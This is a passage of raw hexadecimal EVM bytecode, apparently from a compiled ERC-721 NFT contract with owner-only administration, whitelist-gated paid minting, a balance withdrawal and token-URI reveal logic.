ffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610bbb5750610bba8261280f565b5b9050919050565b610bca6128f1565b73ffffffffffffffffffffffffffffffffffffffff16610be8612078565b73ffffffffffffffffffffffffffffffffffffffff1614610c3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c35906149d1565b60405180910390fd5b80601360006101000a81548160ff02191690831515021790555050565b606060008054610c6a90614e46565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9690614e46565b8015610ce35780601f10610cb857610100808354040283529160200191610ce3565b820191906000526020600020905b815481529060010190602001808311610cc657829003601f168201915b5050505050905090565b6000610cf8826128f9565b610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e906149b1565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610d7d82611b3e565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de590614a31565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610e0d6128f1565b73ffffffffffffffffffffffffffffffffffffffff161480610e3c5750610e3b81610e366128f1565b6125ac565b5b610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e72906148f1565b60405180910390fd5b610e858383612965565b505050565b600f5481565b6000600880549050905090565b6000610ea76128f1565b73ffffffffffffffffffffffffffffffffffffffff16610ec5612078565b73ffffffffffffffffffffffffffffffffffffffff1614610f1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f12906149d1565b60405180910390fd5b47905090565b60125481565b610f38610f326128f1565b82612a1e565b610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e90614a91565b60405180910390fd5b610f82838383612afc565b505050565b60156020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b6000610fcb83611d95565b821061100c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611003906147d1565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b60176020528060005260406000206000915054906101000a900460ff1681565b61108d6128f1565b73ffffffffffffffffffffffffffffffffffffffff166110ab612078565b73ffffffffffffffffffffffffffffffffffffffff1614611101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f8906149d1565b60405180910390fd5b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6111646128f1565b73ffffffffffffffffffffffffffffffffffffffff16611182612078565b73ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cf906149d1565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff16476040516111fe906146f6565b60006040518083038185875af1925050503d806000811461123b576040519150601f19603f3d011682016040523d82523d6000602084013e611240565b606091505b505090508061124e57600080fd5b50565b600061125b610e90565b9050601360009054906101000a900460ff16156112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a490614a71565b60405180910390fd5b600082116112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e7906149f1565b60405180910390fd5b601254821115611335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132c90614a51565b60405180910390fd5b60115482826113449190614c7b565b1115611385576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137c906148b1565b60405180910390fd5b61138d612078565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115835760011515601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146115825760011515601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146115305781600f5461147d9190614d02565b3410156114bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b690614ad1565b60405180910390fd5b3360156000601654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506016600081548092919061152690614ea9565b9190505550611581565b8160105461153e9190614d02565b341015611580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157790614af1565b60405180910390fd5b5b5b5b6000600190505b8281116115b9576115a68482846115a19190614c7b565b612d63565b80806115b190614ea9565b91505061158a565b50505050565b6115da838383604051806020016040528060008152506122a7565b505050565b606060006115ec83611d95565b905060008167ffffffffffffffff81111561160a5761160961500e565b5b6040519080825280602002602001820160405280156116385781602001602082028036833780820191505090505b50905060005b82811015611682576116508582610fc0565b82828151811061166357611662614fdf565b5b602002602001018181525050808061167a90614ea9565b91505061163e565b508092505050919050565b6116956128f1565b73ffffffffffffffffffffffffffffffffffffffff166116b3612078565b73ffffffffffffffffffffffffffffffffffffffff1614611709576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611700906149d1565b60405180910390fd5b80600f8190555050565b61171b6128f1565b73ffffffffffffffffffffffffffffffffffffffff16611739612078565b73ffffffffffffffffffffffffffffffffffffffff161461178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611786906149d1565b60405180910390fd5b6001601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006117f4610e90565b8210611835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182c90614ab1565b60405180910390fd5b6008828154811061184957611848614fdf565b5b90600052602060002001549050919050565b6118636128f1565b73ffffffffffffffffffffffffffffffffffffffff16611881612078565b73ffffffffffffffffffffffffffffffffffffffff16146118d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ce906149d1565b60405180910390fd5b81819050848490501461191f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191690614971565b60405180910390fd5b60005b8484905081101561198b576119783386868481811061194457611943614fdf565b5b90506020020160208101906119599190613db6565b85858581811061196c5761196b614fdf565b5b905060200201356115bf565b808061198390614ea9565b915050611922565b5050505050565b600c60009054906101000a900460ff1681565b6119ad6128f1565b73ffffffffffffffffffffffffffffffffffffffff166119cb612078565b73ffffffffffffffffffffffffffffffffffffffff1614611a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a18906149d1565b60405180910390fd5b80600d9080519060200190611a37929190613a80565b5050565b601360009054906101000a900460ff1681565b611a566128f1565b73ffffffffffffffffffffffffffffffffffffffff16611a74612078565b73ffffffffffffffffffffffffffffffffffffffff1614611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac1906149d1565b60405180910390fd5b60011515600c60009054906101000a900460ff1615151415611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1890614951565b60405180910390fd5b6001600c60006101000a81548160ff021916908315150217905550565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bde90614931565b60405180910390fd5b80915050919050565b611bf86128f1565b73ffffffffffffffffffffffffffffffffffffffff16611c16612078565b73ffffffffffffffffffffffffffffffffffffffff1614611c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c63906149d1565b60405180910390fd5b60008151905060005b81811015611d0257600160146000858481518110611c9657611c95614fdf565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611cfa90614ea9565b915050611c75565b505050565b600d8054611d1490614e46565b80601f0160208091040260200160405190810160405280929190818152602001828054611d4090614e46565b8015611d8d5780601f10611d6257610100808354040283529160200191611d8d565b820191906000526020600020905b815481529060010190602001808311611d7057829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfd90614911565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611e556128f1565b73ffffffffffffffffffffffffffffffffffffffff16611e73612078565b73ffffffffffffffffffffffffffffffffffffffff1614611ec9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec0906149d1565b60405180910390fd5b611ed36000612d81565b565b611edd6128f1565b73ffffffffffffffffffffffffffffffffffffffff16611efb612078565b73ffffffffffffffffffffffffffffffffffffffff1614611f51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f48906149d1565b60405180910390fd5b8060128190555050565b60165481565b611f696128f1565b73ffffffffffffffffffffffffffffffffffffffff16611f87612078565b73ffffffffffffffffffffffffffffffffffffffff1614611fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd4906149d1565b60405180910390fd5b60008151905060005b818110156120735760016017600085848151811061200757612006614fdf565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061206b90614ea9565b915050611fe6565b505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6120aa6128f1565b73ffffffffffffffffffffffffffffffffffffffff166120c8612078565b73ffffffffffffffffffffffffffffffffffffffff161461211e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612115906149d1565b60405180910390fd5b8060108190555050565b60606001805461213790614e46565b80601f016020809104026020016040519081016040528092919081815260200182805461216390614e46565b80156121b05780601f10612185576101008083540402835291602001916121b0565b820191906000526020600020905b81548152906001019060200180831161219357829003601f168201915b5050505050905090565b6121cc6121c56128f1565b8383612e47565b5050565b6121d86128f1565b73ffffffffffffffffffffffffffffffffffffffff166121f6612078565b73ffffffffffffffffffffffffffffffffffffffff161461224c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612243906149d1565b60405180910390fd5b6001601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6122b86122b26128f1565b83612a1e565b6122f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ee90614a91565b60405180910390fd5b61230384848484612fb4565b50505050565b600e805461231690614e46565b80601f016020809104026020016040519081016040528092919081815260200182805461234290614e46565b801561238f5780601f106123645761010080835404028352916020019161238f565b820191906000526020600020905b81548152906001019060200180831161237257829003601f168201915b505050505081565b606060011515600c60009054906101000a900460ff161515141561245d576123be826128f9565b6123fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f490614a11565b60405180910390fd5b6000612407613010565b905060008151116124275760405180602001604052806000815250612455565b80612431846130a2565b600e604051602001612445939291906146c5565b6040516020818303038152906040525b9150506124eb565b600b805461246a90614e46565b80601f016020809104026020016040519081016040528092919081815260200182805461249690614e46565b80156124e35780601f106124b8576101008083540402835291602001916124e3565b820191906000526020600020905b8154815290600101906020018083116124c657829003601f168201915b505050505090505b919050565b60115481565b60146020528060005260406000206000915054906101000a900460ff1681565b61251e6128f1565b73ffffffffffffffffffffffffffffffffffffffff1661253c612078565b73ffffffffffffffffffffffffffffffffffffffff1614612592576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612589906149d1565b60405180910390fd5b80600e90805190602001906125a8929190613a80565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6126486128f1565b73ffffffffffffffffffffffffffffffffffffffff16612666612078565b73ffffffffffffffffffffffffffffffffffffffff16146126bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b3906149d1565b60405180910390fd5b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61271f6128f1565b73ffffffffffffffffffffffffffffffffffffffff1661273d612078565b73ffffffffffffffffffffffffffffffffffffffff1614612793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278a906149d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127fa90614811565b60405180910390fd5b61280c81612d81565b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806128da57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806128ea57506128e982613203565b5b9050919050565b600033905090565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166129d883611b3e565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000612a29826128f9565b612a68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a5f906148d1565b60405180910390fd5b6000612a7383611b3e565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480612ae257508373ffffffffffffffffffffffffffffffffffffffff16612aca84610ced565b73ffffffffffffffffffffffffffffffffffffffff16145b80612af35750612af281856125ac565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16612b1c82611b3e565b73ffffffffffffffffffffffffffffffffffffffff1614612b72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b6990614831565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bd990614871565b60405180910390fd5b612bed83838361326d565b612bf8600082612965565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c489190614d5c565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c9f9190614c7b565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612d5e838383613381565b505050565b612d7d828260405180602001604052806000815250613386565b5050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ead90614891565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051612fa79190614794565b60405180910390a3505050565b612fbf848484612afc565b612fcb848484846133e1565b61300a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613001906147f1565b60405180910390fd5b50505050565b6060600d805461301f90614e46565b80601f016020809104026020016040519081016040528092919081815260200182805461304b90614e46565b80156130985780601f1061306d57610100808354040283529160200191613098565b820191906000526020600020905b81548152906001019060200180831161307b57829003601f168201915b5050505050905090565b606060008214156130ea576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506131fe565b600082905060005b6000821461311c57808061310590614ea9565b915050600a826131159190614cd1565b91506130f2565b60008167ffffffffffffffff8111156131385761313761500e565b5b6040519080825280601f01601f19166020018201604052801561316a5781602001600182028036833780820191505090505b5090505b600085146131f7576001826131839190614d5c565b9150600a856131929190614ef2565b603061319e9190614c7b565b60f81b8183815181106131b4576131b3614fdf565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856131f09190614cd1565b945061316e565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b613278838383613578565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156132bb576132b68161357d565b6132fa565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146132f9576132f883826135c6565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561333d5761333881613733565b61337c565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461337b5761337a8282613804565b5b5b505050565b505050565b6133908383613883565b61339d60008484846133e1565b6133dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133d3906147f1565b60405180910390fd5b505050565b60006134028473ffffffffffffffffffffffffffffffffffffffff16613a5d565b1561356b578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261342b6128f1565b8786866040518563ffffffff1660e01b815260040161344d9493929190614726565b602060405180830381600087803b15801561346757600080fd5b505af192505050801561349857506040513d601f19601f82011682018060405250810190613495919061409d565b60015b61351b573d80600081146134c8576040519150601f19603f3d011682016040523d82523d6000602084013e6134cd565b606091505b50600081511415613513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161350a906147f1565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613570565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016135d384611d95565b6135dd9190614d5c565b90506000600760008481526020019081526020016000205490508181146136c2576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016008805490506137479190614d5c565b905060006009600084815260200190815260200160002054905060006008838154811061377757613776614fdf565b5b90600052602060002001549050806008838154811061379957613798614fdf565b5b9060005260206000200181905550816009600083815260200190815260200160002081905550600960008581526020019081526020016000206000905560088054806137e8576137e7614fb0565b5b6001900381819060005260206000200160009055905550505050565b600061380f83611d95565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156138f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138ea90614991565b60405180910390fd5b6138fc816128f9565b1561393c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161393390614851565b60405180910390fd5b6139486000838361326d565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546139989190614c7b565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4613a5960008383613381565b5050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b828054613a8c90614e46565b90600052602060002090601f016020900481019282613aae5760008555613af5565b82601f10613ac757805160ff1916838001178555613af5565b82800160010185558215613af5579182015b82811115613af4578251825591602001919060010190613ad9565b5b509050613b029190613b06565b5090565b5b80821115613b1f576000816000905550600101613b07565b5090565b6000613b36613b3184614b51565b614b2c565b90508083825260208201905082856020860282011115613b5957613b58615047565b5b60005b85811015613b895781613b6f8882613c17565b845260208401935060208301925050600181019050613b5c565b5050509392505050565b6000613ba6613ba184614b7d565b614b2c565b905082815260208101848484011115613bc257613bc161504c565b5b613bcd848285614e04565b509392505050565b6000613be8613be384614bae565b614b2c565b905082815260208101848484011115613c0457613c0361504c565b5b613c0f848285614e04565b509392505050565b600081359050613c26816156d3565b92915050565b60008083601f840112613c4257613c41615042565b5b8235905067ffffffffffffffff811115613c5f57613c5e61503d565b5b602083019150836020820283011115613c7b57613c7a615047565b5b9250929050565b600082601f830112613c9757613c96615042565b5b8135613ca7848260208601613b23565b91505092915050565b60008083601f840112613cc657613cc5615042565b5b8235905067ffffffffffffffff811115613ce357613ce261503d565b5b602083019150836020820283011115613cff57613cfe615047565b5b9250929050565b600081359050613d15816156ea565b92915050565b600081359050613d2a81615701565b92915050565b600081519050613d3f81615701565b92915050565b600082601f830112613d5a57613d59615042565b5b8135613d6a848260208601613b93565b91505092915050565b600082601f830112613d8857613d87615042565b5b8135613d98848260208601613bd5565b91505092915050565b600081359050613db081615718565b92915050565b600060208284031215613dcc57613dcb615056565b5b6000613dda84828501613c17565b91505092915050565b60008060408385031215613dfa57613df9615056565b5b6000613e0885828601613c17565b9250506020613e1985828601613c17565b9150509250929050565b600080600060608486031215613e3c57613e3b615056565b5b6000613e4a86828701613c17565b9350506020613e5b86828701613c17565b9250506040613e6c86828701613da1565b9150509250925092565b60008060008060808587031215613e9057613e8f615056565b5b6000613e9e87828801613c17565b9450506020613eaf87828801613c17565b9350506040613ec087828801613da1565b925050606085013567ffffffffffffffff811115613ee157613ee0615051565b5b613eed87828801613d45565b91505092959194509250565b60008060408385031215613f1057613f0f615056565b5b6000613f1e85828601613c17565b9250506020613f2f85828601613d06565b9150509250929050565b60008060408385031215613f5057613f4f615056565b5b6000613f5e85828601613c17565b9250506020613f6f85828601613da1565b9150509250929050565b60008060008060408587031215613f9357613f92615056565b5b600085013567ffffffffffffffff811115613fb157613fb0615051565b5b613fbd87828801613c2c565b9450945050602085013567ffffffffffffffff811115613fe057613fdf615051565b5b613fec87828801613cb0565b925092505092959194509250565b6000602082840312156140105761400f615056565b5b600082013567ffffffffffffffff81111561402e5761402d615051565b5b61403a84828501613c82565b91505092915050565b60006020828403121561405957614058615056565b5b600061406784828501613d06565b91505092915050565b60006020828403121561408657614085615056565b5b600061409484828501613d1b565b91505092915050565b6000602082840312156140b3576140b2615056565b5b60006140c184828501613d30565b91505092915050565b6000602082840312156140e0576140df615056565b5b600082013567ffffffffffffffff8111156140fe576140fd615051565b5b61410a84828501613d73565b91505092915050565b60006020828403121561412957614128615056565b5b600061413784828501613da1565b91505092915050565b600061414c83836146a7565b60208301905092915050565b61416181614d90565b82525050565b600061417282614c04565b61417c8185614c32565b935061418783614bdf565b8060005b838110156141b857815161419f8882614140565b97506141aa83614c25565b92505060018101905061418b565b5085935050505092915050565b6141ce81614da2565b82525050565b60006141df82614c0f565b6141e98185614c43565b93506141f9818560208601614e13565b6142028161505b565b840191505092915050565b600061421882614c1a565b6142228185614c5f565b9350614232818560208601614e13565b61423b8161505b565b840191505092915050565b600061425182614c1a565b61425b8185614c70565b935061426b818560208601614e13565b80840191505092915050565b6000815461428481614e46565b61428e8186614c70565b945060018216600081146142a957600181146142ba576142ed565b60ff198316865281860193506142ed565b6142c385614bef565b60005b838110156142e5578154818901526001820191506020810190506142c6565b838801955050505b50505092915050565b6000614303602b83614c5f565b915061430e8261506c565b604082019050919050565b6000614326603283614c5f565b9150614331826150bb565b604082019050919050565b6000614349602683614c5f565b91506143548261510a565b604082019050919050565b600061436c602583614c5f565b915061437782615159565b604082019050919050565b600061438f601c83614c5f565b915061439a826151a8565b602082019050919050565b60006143b2602483614c5f565b91506143bd826151d1565b604082019050919050565b60006143d5601983614c5f565b91506143e082615220565b602082019050919050565b60006143f8601683614c5f565b915061440382615249565b602082019050919050565b600061441b602c83614c5f565b915061442682615272565b604082019050919050565b600061443e603883614c5f565b9150614449826152c1565b604082019050919050565b6000614461602a83614c5f565b915061446c82615310565b604082019050919050565b6000614484602983614c5f565b915061448f8261535f565b604082019050919050565b60006144a7601e83614c5f565b91506144b2826153ae565b602082019050919050565b60006144ca602883614c5f565b91506144d5826153d7565b604082019050919050565b60006144ed602083614c5f565b91506144f882615426565b602082019050919050565b6000614510602c83614c5f565b915061451b8261544f565b604082019050919050565b6000614533602083614c5f565b915061453e8261549e565b602082019050919050565b6000614556601983614c5f565b9150614561826154c7565b602082019050919050565b6000614579602f83614c5f565b9150614584826154f0565b604082019050919050565b600061459c602183614c5f565b91506145a78261553f565b604082019050919050565b60006145bf601283614c5f565b91506145ca8261558e565b602082019050919050565b60006145e2601183614c5f565b91506145ed826155b7565b602082019050919050565b6000614605600083614c54565b9150614610826155e0565b600082019050919050565b6000614628603183614c5f565b9150614633826155e3565b604082019050919050565b600061464b602c83614c5f565b915061465682615632565b604082019050919050565b600061466e600683614c5f565b915061467982615681565b602082019050919050565b6000614691600683614c5f565b915061469c826156aa565b602082019050919050565b6146b081614dfa565b82525050565b6146bf81614dfa565b82525050565b60006146d18286614246565b91506146dd8285614246565b91506146e98284614277565b9150819050949350505050565b6000614701826145f8565b9150819050919050565b60006020820190506147206000830184614158565b92915050565b600060808201905061473b6000830187614158565b6147486020830186614158565b61475560408301856146b6565b818103606083015261476781846141d4565b905095945050505050565b6000602082019050818103600083015261478c8184614167565b905092915050565b60006020820190506147a960008301846141c5565b92915050565b600060208201905081810360008301526147c9818461420d565b905092915050565b600060208201905081810360008301526147ea816142f6565b9050919050565b6000602082019050818103600083015261480a81614319565b9050919050565b6000602082019050818103600083015261482a8161433c565b9050919050565b6000602082019050818103600083015261484a8161435f565b9050919050565b6000602082019050818103600083015261486a81614382565b9050919050565b6000602082019050818103600083015261488a816143a5565b9050919050565b600060208201905081810360008301526148aa816143c8565b9050919050565b600060208201905081810360008301526148ca816143eb565b9050919050565b600060208201905081810360008301526148ea8161440e565b9050919050565b6000602082019050818103600083015261490a81614431565b9050919050565b6000602082019050818103600083015261492a81614454565b9050919050565b6000602082019050818103600083015261494a81614477565b9050919050565b6000602082019050818103600083015261496a8161449a565b9050919050565b6000602082019050818103600083015261498a816144bd565b9050919050565b600060208201905081810360008301526149aa816144e0565b9050919050565b600060208201905081810360008301526149ca81614503565b9050919050565b600060208201905081810360008301526149ea81614526565b9050919050565b60006020820190508181036000830152614a0a81614549565b9050919050565b60006020820190508181036000830152614a2a8161456c565b9050919050565b60006020820190508181036000830152614a4a8161458f565b9050919050565b60006020820190508181036000830152614a6a816145b2565b9050919050565b60006020820190508181036000830152614a8a816145d5565b9050919050565b60006020820190508181036000830152614aaa8161461b565b9050919050565b60006020820190508181036000830152614aca8161463e565b9050919050565b60006020820190508181036000830152614aea81614661565b9050919050565b60006020820190508181036000830152614b0a81614684565b9050919050565b6000602082019050614b2660008301846146b6565b92915050565b6000614b36614b47565b9050614b428282614e78565b919050565b6000604051905090565b600067ffffffffffffffff821115614b6c57614b6b61500e565b5b602082029050602081019050919050565b600067ffffffffffffffff821115614b9857614b9761500e565b5b614ba18261505b565b9050602081019050919050565b600067ffffffffffffffff821115614bc957614bc861500e565b5b614bd28261505b565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000614c8682614dfa565b9150614c9183614dfa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614cc657614cc5614f23565b5b828201905092915050565b6000614cdc82614dfa565b9150614ce783614dfa565b925082614cf757614cf6614f52565b5b828204905092915050565b6000614d0d82614dfa565b9150614d1883614dfa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614d5157614d50614f23565b5b828202905092915050565b6000614d6782614dfa565b9150614d7283614dfa565b925082821015614d8557614d84614f23565b5b828203905092915050565b6000614d9b82614dda565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b